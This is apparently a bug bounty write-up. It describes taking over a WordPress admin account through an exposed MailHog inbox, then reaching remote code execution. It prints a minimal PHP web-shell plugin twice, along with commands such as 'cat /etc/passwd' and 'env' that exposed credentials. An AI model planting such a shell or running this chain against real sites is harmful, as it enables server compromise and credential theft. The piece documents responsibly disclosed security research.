From Exposed Mail Trap to Server Shell: A Bug Bounty Tale

بِسْمِ اللهِ الرَّحْمنِ الرَّحِيمِ

In the world of bug bounty hunting, the most critical vulnerabilities often hide in plain sight — not in complex zero-days, but in misconfigured internal services that teams forget exist. This is the story of how an exposed mail testing service became the entry point to a full server compromise.

The Discovery

While conducting reconnaissance on a target's infrastructure, I identified a subdomain that appeared to host an internal mail testing service. These tools are commonly used by development teams to capture and inspect outgoing emails during testing, but they should never be accessible from the public internet.

During subdomain enumeration using

ffuf -u https://FUZZ.plugins.example.com -w SUBSwordlist.txt

ffuf -u https://FUZZ.plugins.example.com -w SUBSwordlist.txt

I identified a mail testing service on a previously unknown subdomain. Upon visiting the endpoint, I found it was exposed without authentication — no login prompt, no IP restrictions, but require VPN gate. The entire mail inbox was browsable by anyone who discovered the URL.

Inside the exposed inbox, I noticed a pending comment approval notification. This single email revealed two critical pieces of information:

1. The administrator email address for the associated WordPress instance
2. Confirmation that this was an active administrative mailbox

With the admin email confirmed, I navigated to the WordPress login page and triggered a password reset. The reset email arrived in the exposed inbox within seconds. I clicked the link, set a new password, and logged in as a full WordPress Administrator.

From Admin to Shell

WordPress Administrator privileges are powerful by design. One built-in capability is the ability to upload and activate plugins. I created a minimal proof-of-concept plugin containing a PHP shell:

<?php
/*
Plugin Name: RCE PoC
Description: Proof of Concept
Version: 1.0
Author: Researcher
*/
if (isset($_GET['cmd'])) {
    echo '<pre>';
    system($_GET['cmd']);
    echo '</pre>';
    exit;
}
?>

<?php
/*
Plugin Name: RCE PoC
Description: Proof of Concept
Version: 1.0
Author: Researcher
*/
if (isset($_GET['cmd'])) {
    echo '<pre>';
    system($_GET['cmd']);
    echo '</pre>';
    exit;
}
?>

I uploaded the plugin via the admin panel, activated it, and navigated to:

Remote Code Execution confirmed.

Impact Assessment

With the shell confirmed, I executed a series of safe, non-destructive commands to understand the environment:

• whoami → www-data (web server OS user)
• hostname → container ID (Docker environment confirmed)
• env → exposed database credentials and environment variables
• cat /etc/passwd → full OS user enumeration

The finding demonstrated:

• Full server compromise of the container
• Sensitive data exposure via environment variables
• Potential for lateral movement to internal services (database host identified)

Responsible Disclosure

After capturing the necessary evidence, I immediately:

1. Deleted the PoC plugin from the server
2. Reported the full chain to the security team
3. Provided remediation recommendations (network-level restrictions, credential rotation, session invalidation)

The team responded professionally, secured the MailHog service behind authentication, rotated the WordPress credentials, and resolved the issue within hours.

AND I GOT REWARDED 🤩

Conclusion

This finding was classified as Critical severity by the program.

For bug bounty hunters: always read the emails — even the ones not meant for you.

Thanks For Reading

HADY (SecKillua0)